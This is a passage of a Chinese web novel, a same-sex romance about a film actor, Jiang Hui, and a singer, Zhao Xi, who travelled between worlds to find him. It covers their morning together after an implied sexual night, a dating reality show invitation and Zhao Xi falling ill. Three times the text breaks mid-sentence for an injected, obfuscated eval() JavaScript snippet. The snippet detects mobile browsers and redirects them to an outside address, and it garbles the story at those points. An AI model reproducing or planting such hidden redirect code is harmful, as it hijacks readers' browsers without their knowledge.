……谁家叔叔被侄子摁在床上这么干的。 赵熙除了初次开荤时闹得不知分寸了些,这还是第一次没听姜洄喊停。 从黄昏日落到圆月临空,姜洄被他翻来覆去地折腾,一反从前的乖巧贴心,赵熙好像要把以前那些日子缺的份儿在今天全部一同补上一般,到最后,姜洄从头到尾从里到外——现在都是赵熙的味道了。 结束时已经很晚了,姜洄口干舌燥,浑身散了架一样地疼,喝了杯他递到嘴边的水,连翻脸骂人的力气也没有,便昏昏沉沉地睡了过去。 这大概是这三年以来,他睡过最安稳的一觉。 天亮后再睁眼,姜洄盯着白花花的天花板看了一会儿,终于眼神聚焦,往旁边一摸——空荡荡一片。 赵熙不在。 姜洄脸色一变,坐起身,又被身体某处传来的撕裂感差点痛到原地栽回去。 房门打开,赵熙听见声音匆匆打开门:“小叔叔?” 看到他,姜洄紧绷的身体顿时又松懈下来:“……你去哪儿了?” 赵熙缓缓眨了下眼,抬了抬手上端着的碗:“给你煮粥去了。” 他身上穿着自己那件黑色圆领毛衣,脱下西装,整个人都有种居家的温和气质,姜洄打量两眼,觉得赵熙变化很大。 他离开时赵熙身上仍有的那点青涩早已褪去,不过二十出头的年纪,气势却相当沉稳了。 姜洄没让他喂,接过他递来的碗,搅了一下勺子,感觉自己唇瓣干燥得很,大概也是因为昨晚太放肆的缘故。 赵熙的手艺还和从前一样,甚至口味更好了,一碗南瓜粥香甜可口,就算是姜洄这样不爱吃糖的人也忍不住多喝上几口。 见他虽然没说什么,却一口接一口吃得很快,赵熙微微松懈了几分。 姜洄又抿了一口粥,听见赵熙笑着说:“小叔叔这么怕我跑了?昨天还一副不想见我的样子呢。” 姜洄默然两秒:“……嗯。” 赵熙愣了下:“……嗯是什么意思?” 姜洄:“怕你跑了。” 赵熙也沉默了。 “不会跑。” 他靠近了些,在姜洄额头吻了吻,轻声道:“虽然很舍不得,但是……小叔叔,我要上班去了。” 姜洄哑然:“你今天有工作?” 赵熙起身,去拿挂在床尾衣架上的外套,同时看了眼腕上的手表:“嗯,我就请了昨天一天假,今天要上班。本来醒了就要走的,我怕你醒了看不到我,就多呆了会儿。” 也是,赵熙正在事业上升期,忙工作很正常。 姜洄抿唇,手里的粥突然就没了滋味。 昨天才聊了几句,稀里糊涂滚了一晚上床单,被堵得姜洄话都说不出来,本来还有很多问题没问他,但今天醒了赵熙就要走了。 早知道这样,昨天就不该那么放纵的,好歹…… 好歹多聊几句再说。 赵熙穿好外套,转身看他:“小叔叔,后面我给你涂过一次药了,记得今天再涂一次。锅里还温着粥,没吃够再添……我晚上再来。” 姜洄顾不得害臊,动作一顿,低低重复了一遍:“晚上再来? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155016|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 赵熙眼神微黯:“还是小叔叔不想我来?” 姜洄:“……没有这个意思。” 他把那句“其实我也可以去找你”咽了下去,看着赵熙舒展的眉眼,忽然心间也松了一口气。 世上怎么会有这么傻的人…… 费尽力气找到他,竟然不是想报复他,而是为了和他继续在一起。 说出去可能都有人要笑。 但……谁让这个傻蛋是他自己呢。 “你今天工作内容是什么?” 赵熙稍作思索:“录制新专辑,在公司里,不过要打磨成片,得费一天的时间……怎么了?” 姜洄道:“没事。” “那我走了?”赵熙系好袖扣,犹豫道。 姜洄嗯了声,靠在床头,目送他收拾好东西,随即拿上手机,一步三回头地离开了。 在床上坐了一会儿缓神,喝完剩下的粥,姜洄也终于有了些力气,他起身去洗漱了一下,重新坐回床边时拿起手机,盯着和“z”的对话框瞅了会儿。 片刻,他动动手指,把备注改成了“赵熙”。 觉得全名太奇怪,两秒后,他又若无其事地改成了西西。 左右今天没有行程,姜洄靠在床边,打开微博,搜索起了“xx”这个名字。 他其实对赵熙就是xx这点早有猜测,那次颁奖典礼,他也看到过赵熙的身影,只是那时尚且不能确定,如今真正接受了赵熙出现在他这个世界的现实,才敢真正正面这个一度让他感到心虚、只想避开的名字。 首先蹦出来的是一个微博号,就叫星辉-xx,头像是一片星海茫茫的夜空,个人简介写着“星辉娱乐旗下歌手”底下挂着黄v认证。 他主页微博不少,但基本都是专辑的转发和歌曲分享,底下一堆粉丝嚷嚷着“老公声音沙我!”“好听好听”“新歌什么时候出”…… 姜洄翻了半小时,才在里面翻到唯一一条日常生活碎片的博文。 是两年前的一月份,对方的第一条博文。 不是发歌也不是发自拍或是宣传,而是拍的一只橱窗里的皮卡丘娃娃,配文:。 那时候他刚签约星辉,底下是粉丝们一众茫然的“???”。 其他博文底下赵熙或多或少会回复一两句,但唯独这条,他什么也没解释,而关于这条博文到底代表什么意思,至今也没人能给出答案。 姜洄摸了摸鼻梁,短暂愣了一会儿神。 他记起了那个自己送给赵熙的皮卡丘娃娃。 送的时候没想那么多,只是在娃娃店一堆粉红稚嫩的抱枕里挑了最顺眼的一只。 因为后面两人基本都是一起睡的,姜洄也不知道那只娃娃到底得不得他喜欢。 现在看来,还是喜欢的。 姜洄为自己翻了对方大半天的博文感到些许好笑,他打开音乐软件,将赵熙的几首歌全部加入歌单,又把那几个他分享的歌也点了下载,这才退出去。 他想到什么,又用大号点开了赵熙的微博。 点进去,右下角仍旧是“+关注”的标识,而不是回关。 姜洄愣了一下。 赵熙关注列表里有十几个人,不多也不少,所以姜洄根本没想到他竟然没有关注自己。 ……不是为了他来的这个世界吗?连微博关注都不点一个。 姜洄心里冒出这个念头,又觉得好笑。 他是小学生吗,在这里为了一个无谓的关注而不爽。 他们都在床上滚多少次了,不就是一个关注吗? 姜洄悬在关注上的手飞快按了下去,然后迅速关闭了手机。 说好要营业的,他想。 那得从点个关注做起。 63.发烧 姜洄没歇多久,起来接水喝的时候接到了李哥打来的电话。 “小洄,我知道那热搜怎么回事了。” 李哥用一种已经极力隐秘但掩饰不住震惊的语气小声道,“我拿到了赵熙经纪人的联系方式,昨晚聊了聊,他跟我透漏,那家媒体背后是星辉那边总集团的小公司,这事儿是赵熙请人压下去的!” 姜洄接水的动作一顿。 他想到热搜爆出来的当天,他还和赵熙提过“对方不肯撤热搜”这事儿,那之后没多久就解决了,所以…… 是赵熙在帮他? 热水从饮水机里流下,又从溢满的杯子里滚出来,烫到了手背,姜洄垂眼,终于回过神。 还好撤开得及时,他手背上留了一片红痕,但其实不是很难受。 姜洄打开水龙头,用冷水冲洗了一下,电话里李哥还在絮絮叨叨:“早就听说他有背景,没想到背景这么大,热搜说撤就撤啊?诶——你跟我说实话,昨天之前,你真的不认识他?” 姜洄抿了抿唇,对他嘴里的“有背景”这几个字感到不太舒服。 他道:“认识。” 李哥:“哎哟我就说!你俩昨天氛围就怪怪的,你早说嘛,都是熟人,还搞这套!” 姜洄:“前男友。” 李哥:“……啊?” 电话里沉寂两秒,李哥结巴道:“你啥时候谈的恋爱,我怎么不知道……啊,不对,重点是——你前男友?!” 他担忧道:“那这营销合同不是为难你吗?卧槽……怪不得这小子说要跟你见一面呢,是不是他想借机跟你复合啊?这么说来,说不准热搜那事其实也有他的份儿,这可怎么办……” 虽然李哥觉得这次机会难得,而且合同都已经签了,也不好做毁约的事情,但要是姜洄心里其实不愿意,他也不好强求。 “没事。” “为啥?” 姜洄:“复合了。” 李哥:“……” 兵贵神速。 “没事,我有分寸,别担心。”姜洄道,“还有,营销这事儿,不是他想借机找我复合,是因为他着急想帮我。” 而且某种程度上来说,这份合约现在有和没有其实没区别。 赵熙是真的了解他,也是真的是他的恋人。 根本不用营销,两人往那一站,彼此就已经熟稔到任何人都能看出来了。 李哥干巴巴“哦”了一声。 他又转而嘱咐了一些综艺注意事项,让他记得看看前几期相恋一百天的综艺,做点准备,就挂了电话。 相恋一百天这个恋综,是今年才火起来的,但已经有了两期节目,分别是今年春天和夏天拍摄的两期,第三期迟迟没有凑够人选,就一直拖到了现在。 前两期综艺基本可以说是火遍内娱,因为是直播形式,加上新颖的“揭秘内娱夫妻相处”的噱头,一大波观众抱着吃瓜的心理涌入节目,结果太好看了,高开高走,维持了久久不散的热度。 不管是表面恩爱的营业假夫妻被揭穿实际上离婚多年根本没有感情,还是说退圈多年营造爱妻人设的影帝实际上是个家暴男,又或者是某位知名爱豆事业上升期宣布婚情紧接着婚内出轨……都太热闹、太有看点了。 第三期综艺据说已经定了两对,第三对迟迟找不到人,不仅是因为敢接邀请的内娱夫妻没有那么多,也是因为有看点的夫妻没有那么多。 姜洄也曾看过几个片段,了解这节目的拍摄流程,表面上就是三对“夫妻”一起去旅行,给的初始资金就那么多,要通过各种手段赚取资金,而且赚取资金的办法必须和伴侣协同完成。 节目持续一个月,拍摄时间是早上八点到晚上八点,最后剩余资金最丰富的那一组,就是获胜的那对夫妻。 ……当然,大家来这个综艺真正想要看的也不是那一组会获胜,而是谁会中途翻车。 因为没有台本,说什么做什么以及什么表情,基本都是靠嘉宾们临场发挥,这就导致节目开播两期,六对嘉宾已经翻车了三对。 另外三对直接靠这节目翻红了。 上这节目要是能维持人设不倒,有点综艺娱乐细胞,就没有任何问题,姜洄还真的不是很怕。 他和赵熙又没干过什么缺德事儿,不怕翻车,上节目了也就是免费旅游一个月,有机会澄清谣言,还能带薪休假,想想还挺舒服。 但李哥既然嘱咐了,恰好现在没什么事,姜洄就把平板拿出来,找了剪辑版来看。 看到一半,放在一边的手机亮了,姜洄原本没注意,想到赵熙,又下意识看了眼。 是微信消息,但不是赵熙的,是李哥的。 【lili:相恋官博公布邀请名单了,你可以看一眼,不用转发。】 不用转发? 姜洄第一时间还没看懂这话的意思,打开微博搜索节目组名字,看到了博文内容才反应过来。 [相恋一百天]:不知不觉竟然已经冬天啦!各位粉丝朋友我们又见面了!本期节目嘉宾已确定,非常荣幸邀请到了@陈平姝@唐佳@周子安@白幸四位朋友。还有两位神秘嘉宾将前往节目做客,就先不告诉大家是谁了,预留一点期待感!我们十二月底见![比心] [图片]x9 六位嘉宾的个人宣传海报各自一张,还有三张“夫妻”合影,其中属于两位神秘嘉宾的海报和合照做的都是剪影,姜洄打开看了眼,能看出来自己和赵熙的影子。 他和赵熙身形差不多,不过两张剪影姿势不一样,一眼看上去没那么相似。 他了悟。 官博没提到他们,他大概能理解,赵熙现在在公众面前还没有露过面,直播当天出现节目效果才会拉满。 以及他们的恋情还没有过任何铺垫,现在公布恐怕会太过突兀,所以用神秘嘉宾做噱头,两方才能都赚到。 除了他们以外,节目邀请的另外两对,竟然也都是同性情侣,一对百合一对基。 姜洄能知道,是因为这两对都比较高调,两个女孩子是一起出道一起退团的,都是前爱豆后转演艺圈,在一起后火速公开了。 现在属于打拼期,两人一起演了一部剧,前两天播出了,估计是想借这个综艺宣传一下,顺便打出点名声。 另外一对就比较特殊了。 周子安拿过影帝,后来武打戏搞出腰伤,退居幕后当导演去了——说起来姜洄还拍过他的电影,这人性格刻板冷漠,相当难搞,不过合作还算愉快,因为他追求完美,而姜洄的表演从来无可挑剔。 他还开了家公司,白幸就是他一手捧上来的,不仅是恋人,也是员工、是他手下的演员。 白幸年轻,喜欢秀恩爱,经常在微博发一些两人的合照,前段时间公布了结婚,姜洄偶尔刷到,也会点个赞。 算得上点赞之交。 姜洄顺手翻了翻底下的评论。 【火速赶来】 【天呐!!!第三期终于有着落了,老母亲欣慰】 【靠,怎么这回还搞神秘嘉宾!还是两个!】 【看样子是同性情侣,剪影还挺好看的……我要把圈内男同猜个遍了/微笑】 【哇塞,已知的这两对都超级甜呀,这次节目组转变风格了吗?不搞事了吗?】 【不知道第三对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159490|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是哪两位,不过楼上我还是劝你一句,别期待了,节目组不搞事是不可能的,就算没事也要搞点事出来/恶魔低语】 【这剪影好眼熟,我一定见过……】 【眼熟+1】 【卧槽,我把姜影帝的海报和这几张对比了一下,重合度80%啊!】 【楼上,还有20%呢?】 【姿势不一样】 【不对吧……我怎么看着更像是那谁啊……】 【像xx能说吗】 【卧槽这两人怎么走哪儿撞哪儿,声音像就算了,剪影也像?】 【这对吗?】 【我怎么觉得第一张像jh,第二张更像xx】 【+10086】 【哈喽?你们在开玩笑吗?这俩八竿子打不着的关系怎么可能上这节目?】 【就是就是,也不看看姓姜的现在黑料缠身,拉郎配也要看配不配啊/白眼】 【有病吧,什么乱七八糟的营销号都信,洄哥早就澄清了,不信谣不传谣,能不能别瞎几把乱传】 【那种空口无凭的澄清都有人信?你们影帝粉丝吃得真好/呲牙】 【虽然但是,你们说的都对。别吵了,点击即看[链接:影帝与歌手不得不说的二三事]】 【楼上好像把什么不得了的属性暴露出来了……】 眼见楼已经歪到了天边,姜洄熟练地无视了那几条掺杂人身攻击的评论,目光定在了那条链接上。 ……什么二三事? 他犹疑两秒,还是点了进去。 从前姜洄只听说过cp粉的存在,但没见过。 他演过不少电视剧和电影,虽然因为肢体洁癖原因将能拒绝的亲密戏都拒绝了,但还是会有人磕剧中cp,姜洄无所谓,从没在意过。 得益于他基本没和几位演员特意交好的原因,剧外的糖点粉丝们是一点也找不到,不管是和谁。 所以cp粉们除了剧播期间会在他博文底下嗷嗷待哺以外,基本不会出现在他面前。 所以看到视频里,两人出现的片段和他出演过的电视剧配音混合在一起的剪辑时,姜洄张大嘴巴,久久没合上。 因为身形相似声音也相似,加上赵熙从没露过脸,所有片段都可以截取姜洄自己出演过的电视剧电影去剪辑,因此,这条视频嗨特意标注了一条“水仙向”。 姜洄看着被剪辑到一起亲嘴的两个人,心想,cp粉还真是有点厉害在的。 某种意义上,她们找到了真相。 没有在公众视野一起露面也能磕吗?不过都水仙了,确实不用管这么多…… 姜洄退出来,点了外卖吃过午饭,又看了眼屏幕右上角的时间。 下午一点了,赵熙还没给他发过消息? 他抿唇,又点进赵熙的博文界面看了一眼。 赵熙回关了。 他心里松了一口气,心想赵熙今天应该是太忙了。 正想要不要去微信问问他忙得怎么样了,突然公寓的门被敲响了。 姜洄打开门,看见赵熙一只手背在身后,还穿着那身出去时的衣服,拉下口罩,脸却红得不正常。 他身后站着一个容貌清秀的二十岁左右的男生,拎着一个袋子站在门口,袋子里似乎装的是药。姜洄隐约觉得眼熟,愣了一下。 男生朝他笑了笑,笑容腼腆:“姜哥好。” ……他认得姜洄? “你好。”姜洄迟疑着问赵熙,“你怎么回来了?” “发烧。”赵熙说着,伸手将他的手牵到自己额头上,语气低哑缱绻,“病号打不了工,经纪人放我回来了。” 64.露脸 姜洄立刻没心思关注这男生是谁了,急切道:“发烧?好好的怎么发烧了?” 他伸手从那男生手上把药接过去,赵熙顺势靠在了他身上,语气黏糊:“不知道,应该是吹风了吧。” “姜哥你不知道,赵哥他就是个工作狂,自从签约以来连轴转两年了,到现在一天没请过假,我们都担心他迟早病倒……哦,昨天是唯一一次,也是为了和你们谈公事才请的假。你看,果不其然,昨天和你们才见过面,就因为穿得太少感冒发烧了……” 姜洄要扶赵熙进屋的动作一顿。 赵熙轻飘飘制止道:“小奇。” 小奇嘿嘿笑一声:“哎呀你看我,又说多了,那姜哥,赵哥交给你了,我先走了。” 姜洄礼貌笑笑:“再见。” 公寓房间的门被关上,赵熙将大半重量压在了姜洄身上,被他带进去两步又牵住姜洄的手:“鞋。” 还没换拖鞋。 “都发烧了管那些干什么?” 姜洄皱眉轻斥,稍一用力,扶着他朝卧室走。 “你手上拿的什么?”姜洄瞥了一眼。 一小束开得漂亮的山茶花捧到了他面前。 姜洄愣住。 他看看花,再看看满脸红晕的赵熙:“这……” 赵熙垂眼,攥着花束的手紧了紧:“饭店里有其他人在不方便,昨天来你家也来得匆忙。我想了很久,还是觉得,该送你一束花。” 他语气轻松道:“不喜欢的话,也可以把它插在家里当做装饰,它不碍事的。” 姜洄无言,接过花看了眼,往客厅桌上一放。 赵熙迟疑着看他。 姜洄道:“一会儿再处理花……刚刚那是你助理?” “嗯,”赵熙道,“你认识?” “看他送你回来也该知道了,感觉眼熟,之前应该在什么活动上见到过。” 赵熙道:“你连我助理都认识,那你岂不是很早就知道xx这号人了?” 姜洄将他丢在床上,帮人把鞋子脱了,按好被子,又将药袋子打开看了眼:“知道又怎样?你这……买的什么药?退烧的呢?” 赵熙微微往前探了一些,闻着鼻尖若有若无的熟悉兰香味,立时安心了许多:“不知道,回来路上一家药店里随便买的。你早就知道我,那你没和z提起过我?也……没怀疑过我?” 其实他的伪装挺拙劣的,戴面具,身形相似,从不在公众场合露面,声音也像。 姜洄听他唱过不少歌,应该听两首xx的单曲就能发现不对劲。 翻找药物的声音停顿了一秒,姜洄若无其事道:“我又不认识xx,干嘛要跟z提你?而且,这两个不都是你吗?” “这不一样。”赵熙看着他从盒子里搜出体温计,轻声道。 姜洄:“张嘴——哪里不一样?” 赵熙靠着床头,含住体温计,不说话了。 “买个药也买不全,你真是烧糊涂了。”姜洄再次探了探他的体温,隔了半分钟把体温计拿出来,皱眉道,“三十八度七……这算高烧了,不行,楼下有家药店,我去买退烧药。” “别。”赵熙抓住他的手腕,对上姜洄不解的眼神,好像被烫了一下似的,又不禁松了些力气,“我是说……叫外卖吧。” 姜洄思索两秒,挑眉:“行。” 他点了退烧药送上门,作势又要走,赵熙便立刻又抓紧了些,声音有些哑:“去哪儿?” “给你冲感冒药。” “……哦。” 赵熙讪讪放开了手。 姜洄犹豫了下,像是看出他的不安似的,反手在他手背上轻轻拍了拍。 赵熙呆了呆,喉结滚动了一圈。 他眼睛定在姜洄身上,看着他走出门,透过玻璃门看着姜洄拿着药袋走进厨房,拿出新杯子、清洗、接水、冲泡药剂……一举一动,眼神片刻都没移开过。 直到对方拿着冲好的感冒药回来递过来,赵熙才收敛了目光:“谢谢小叔叔。” 不是说了不叫小叔叔吗? 姜洄忍了又忍:“……到时候上节目你也要叫我小叔叔吗?” 赵熙眨眨眼。 “那……你想让我喊你什么?” 姜洄被他晕红着一张帅脸的目光盯得心跳都漏了一拍,半晌才移开视线:“随便。” 姜洄,还是小洄、姜老师,都随便,或者前辈……好吧,这个有点太生疏了,外人面前喊喊还行,当着面这么喊,姜洄汗毛都要竖起来。 “哥。”赵熙眸色水光粼粼的,“这么喊可以吗?” 姜洄好半天才听到自己的声音:“……可以。” 赵熙笑笑,低头喝了口药。 “那你呢。” “嗯?”赵熙迟钝了两秒,又抬头看他,“什么?” 姜洄在床边书桌旁的椅子上坐下:“你和你的助理提过我?” “不明显吗?” 姜洄轻轻歪了下脑袋,像是有些感兴趣:“怎么提的?” 前男友,旧情人,仇家,叔侄,又或是……现男友? “嗯……前辈,合作伙伴,还有……”赵熙犹豫了下,修长的手指摩挲过杯口,像是在思考该怎么说,“我喜欢的人。” “……” 好吧,一个,意料之外,却又是情理之中的答案。 赵熙笑了:“哥,你先问的。” 言下之意是,不能怪他瞎撩。 姜洄摸了摸自己滚烫的脸,怀疑自己也发烧了。 他试图转移话题:“所以他说的是真的,你真的全年无休在工作?” 赵熙:“没那么夸张……想要成名,而且两年办到,当然要花费比常人更多的时间。” 姜洄张了张口:“为什么一定要成名?” “因为……”赵熙笑了下,“想要有资格,和喜欢的人并肩。” 姜洄:“……” “那昨天为什么穿得那么少?”他压下砰砰砰的心跳,企图把话扳回正题。 “哥不知道吗?”赵熙眨眨眼,“俗话说,人为悦己者容。” “想要穿的好看,就得穿少,不然臃肿着穿一身棉袄去见你,岂不是很不像话?” “……” 姜洄闭了闭眼。 脸上温度好像又升了上来……这话题真是绕不过去了。 “好点了吗?”像是看出他的窘迫,氛围安静两秒后,赵熙道。 姜洄一时没反应过来:“什么?” 赵熙欲言又止,看了眼他身下。 姜洄:“……” 他霍然起身。 顶上赵熙愣忡的目光,又觉得自己反应太大了:“好——当然是好得差不多了。” 恰好门铃响起,姜洄顶着一张大红脸,匆匆道:“应该是退烧药到了,我去拿。” “嗯,对不起,昨天是我太不节制了,我下次注意,一定不弄伤你。” 姜洄踏出房门的脚差点都歪了。 赵熙怎么回事! 今天净说一些让人想钻地缝的话。 以前的赵熙,有这么、这么会撩吗? 从外卖员手里拿了药回来,姜洄看了眼说明书,照着方法又把退烧药冲了,端过来硬邦邦道:“喝了睡觉。” 赵熙接过去,看着他红晕未散的脸颊,乖巧地向他笑了笑:“好。” 他抿了两口碗里的药,看见面前递过来一颗糖,大白兔的。 递糖的人一手插兜,脸色平静:“家里翻出来没吃的。” 赵熙愣一下:“……谢谢哥。” 真好,姜洄还记得他爱吃糖。 “热搜那件事是你做的?” 赵熙放下药碗,拨开糖纸的动作微微一顿:“你知道了?” 姜洄道:“李哥和你经纪人联系了,他告诉我的。” “只是一个小忙,没什么。”赵熙把糖含嘴里,道,“哥没事就好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159491|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 又来了,又是这个笑。 姜洄觉得他每次笑得这么乖就是在蓄意勾/引他。 他扭头不看赵熙:“你……和星辉的CEO,很熟?” 虽然不信赵熙会做出卖肉/体这种事,但姜洄还是对此有所疑虑。 赵熙能在短短两年内迅速声名鹊起,星辉娱乐功不可没,可是人家CEO凭什么帮他?赵熙不是说刚来的时候身无分文吗? 他昨晚问姜洄眼睛疼不疼,那时姜洄觉得他废话太多,可现在想起这些,姜洄却有种冲动,想问他刚来的那段时间过得苦不苦。 赵熙坦然道:“还好,他家CEO就是余书,你认得的,小……哥。” 余书? 姜洄思绪卡了一下:“他还有认识你的记忆?” 不是说是两个平行世界吗? 想起上次去唐家时余书看他的眼神,姜洄微微皱眉。 原来是因为认识赵熙吗? 唐尺还说余书就是开娱乐公司的,也提到了就在江城,姜洄想起这些,难免后悔,懊恼那时该多问一句余书的公司是哪家的。 那样或许能早点遇到赵熙了。 但是,姜洄知道,那时他心里其实隐约有些猜测,只是不愿面对罢了,因为心里的恐惧,他把一切线索都藏了起来,刻意不去串连,试图以这种方式抹灭他不愿面对的真相。 但或许,知道真相这件事,并没有他想象中那样恐怖残忍。 赵熙好好地出现在了他面前,什么也没对他做……哦,是什么坏事也没对他做。 思绪回笼,面前赵熙平静道:“没有。” “那你怎么……” 怎么靠星辉起的家?怎么和余书关系那么好,怎么…… 赵熙抬头,牵住他的手腕,打断了他的思绪,目光缱绻:“哥,别太小看我了,我毕竟接手了赵氏,在那边的世界和余氏有过很多合作,了解一些余氏的需求。所以只要见到他,我就有信心让他签下我,捧我出道。” “了解他的习性,成为好友也不是什么难事。至于热搜那件事,是另一家分公司的人做的主,余书并不知情,我答应了他一个条件,他帮我撤掉热搜,还算划算。” “什么条件?” 赵熙嚼着嘴里的大白兔奶糖,风轻云淡道:“他之前一直想让我露脸,你知道的,我一直戴着面具,粉丝都很想知道我长什么样子,只要露面,公司流水不会差。我答应了这个。” 正好这次综艺,一举两得。 “那综艺邀请呢?也是你帮我拿到的……” “我们两个,是情侣、上恋综,”赵熙笑了,“——我这张和你一模一样的脸,加上你的热度和恋情曝光——还不足以成为综艺邀请你的理由吗?都不需要我主动提。” 室内安静两秒,赵熙微微垂眼:“还有什么想问的吗?” “是还有一个。”姜洄道。 “为什么就因为一个热搜就答应了他?不想露脸的话……不需要这样为我牺牲。” “……想多了哥,”赵熙哑然,“我以为你会更不想我露脸。” 没想到姜洄竟然更先考虑到他的意愿。 “我为什么不想?” “长得一样,”赵熙道,“我不想给你带来麻烦。” 所以这才是他一直不肯露脸的原因? 姜洄抿唇,嘀咕:“这世上又不是只有一个人才能长一张脸,就说凑巧长得一样就好了。” 赵熙眉眼弯弯:“哥不介意我擅自做主就好了。” 思索两秒,姜洄想起最重要的一点,反手抓住了赵熙的手腕:“对了,你不是还要回本来的世界吗?你白天的时间够用?那边你怎么解决的,消失这么久,没人怀疑?” 赵熙难得结巴了一下:“……还好,我来这边一段时间,就会提前安排好那边的工作,不用担心。” “……这样,”姜洄将信将疑打量了他一眼,“那你下次回去是什么时候?” 65.道歉 赵熙嚼着奶糖,含糊道:“不知道,应该,一两个月以后吧。毕竟还要录恋综。” 光是录恋综就要一个月了。 姜洄皱眉:“你这样长期逗留,加上来回穿梭,不会有问题?是不是有什么条件做代价?实在不行,恋综可以不录,你——” 身体要紧。 “不行。”赵熙略急促地打断了他。 两人对视,一秒,两秒。 赵熙缓了下,提了提唇角,语气轻松,“哥,别担心,没什么问题,就是来回穿梭比较费精力——而且,恋综已经答应,都签约公布了,毁约不好。” “真的没有什么代价?” 姜洄迅速道,“别骗我。” “……这个不方便说,”赵熙眨眨眼,语气含糊,“就,你知道的,机密。” 系统不能说的东西确实多,姜洄曾经试图告诉过李哥相关事件,但都被自动屏蔽了,哪怕002已经不在他身上也一样。 如果不是赵熙也是穿来的,他猜两人讨论这个话题也会被屏蔽。 见姜洄沉着脸,似乎仍旧不放心,赵熙迟疑片刻,拽着他的手微微使劲,将人拉着坐了下来。 他盯着姜洄的眼睛,轻声道:“嗯……我保证,绝对和身体健康无关。” 姜洄脸色微微放松了些:“那你的年龄也是系统做的调整?” 他们分别一年,赵熙来到这个世界两年,赵熙今年应该二十三才对,但是他告诉姜洄的,以及姜洄百度到的,都是二十二。 这是他心中最奇怪的一点。 除了系统调整过,他想不到任何解释。 赵熙果然没怎么犹豫便点了头:“是,我的身体年龄就二十二。” “就差一岁,有什么调整的必要?” “那我也不知道了,系统就这么告诉我的,不过年轻了一岁,但你放心,身体还是自己的。” “我知道。”不是赵熙自己的,姜洄敢和他上床? “那什么,”姜洄拧眉,“……系统,还在你身上?” 赵熙一愣:“啊,是还在。” 姜洄点头,并不意外,毕竟对方来回穿梭肯定要靠系统:“你任务还没完成?” 赵熙:“……对。没完成。” “那你的任务是——” “哥不如先说说你的,”赵熙不动声色地打断他,道,“你当初,去我那个世界,是什么任务?” 姜洄抿了下唇:“帮赵茴躲回家产。” 赵熙缓缓眨了眨眼,眼皮微微下垂,两秒后又掀起来:“……和我无关?” 姜洄咳了一声。 “嗯。” “那你当年……”赵熙顿了顿,“是违规带我回赵家的?” 除任务相关以外,任务者不能和本世界的任何人产生过多联系,以免世界线发生崩坏,这是规定。 赵熙也绑定了系统,知道这个规则很正常。 姜洄不做他想,眼神飘了飘:“不算吧,我跟系统说,要夺回赵氏的家产也得有人经营。赵茴那个性格显然不适合工作,你是我培养的继承人。” 原来…… 原来那句“你是我选中的继承人”,是这个意思。 赵熙再度垂眼,掩去了眼底的情绪:“原来如此。所以……你当初根本没有想过要留下来,对吗?” 把他当作继承人培养的前提是,姜洄一定会走。 半晌,面前的人点点头,低声道:“是。” 赵熙扯了扯唇,虽然毫无意外,但还是…… 心里有点难过。 就一点点,他想。 扬起唇,赵熙若无其事道:“还好,我找到你了。” 姜洄把嘴唇抿得很紧,忽然凑过来在他唇上贴了贴。 赵熙:“……嗯?” 姜洄低着头,不敢看他,几乎是用气音在说话:“对不起。” “……怎么又道歉?”赵熙舔了舔唇,“怎么了?” 姜洄咬了咬牙,脑子里一阵嗡鸣,有点不太知道自己在说什么了,但事情已经发生,要解决,就得坦诚面对。 “和昨天的道歉不一样,我……我当初没和你说一声就直接走了,到底是我的错,好歹也该和你说清楚再离开的。” 赵熙心里一突。 他勉强笑笑:“没事,我这不是自己来找你了吗?” “你不生气?”姜洄道,“是我的错,你想骂我,想打我,或者……” “不,不生气。”赵熙再次不动声色地打断了他,努力把唇边的弧度提到最大,“哥,没关系,真的没关系,还能再见到你我就很高兴了。” 姜洄眼眶红了。 他努力把泪意逼回去,不想让赵熙看到:“真的不生气?” 赵熙凑近了些,笑道:“你亲亲我,我就都忘了。” 好半天没动静,赵熙收回往前探的姿势,垂眼:“开玩笑的……” 话音未落,姜洄扭过头,抬手按在他肩上,再次贴上了他的唇。 赵熙喉结滚动,两秒后,他眼皮颤了颤,克制地推开姜洄,见他愣住,低声道:“我感冒了,别亲太久,会传染。” 姜洄抿唇:“嗯,你喝了药,困的话先睡会儿吧。” “不能亲,可以抱。”赵熙抬手,眼睛亮亮的,喊他。“哥。” 这副模样,就好像在对他说——快抱我。 姜洄按下心底的悸动,毫不犹豫抱了上去。 “所以你还没说,你的任务是什么。” 靠在他肩上,赵熙贴着他的脖颈,体温滚烫得让人心慌:“我的任务是你啊。” “……我?” “帮你登上顶峰,成为顶流影帝。” 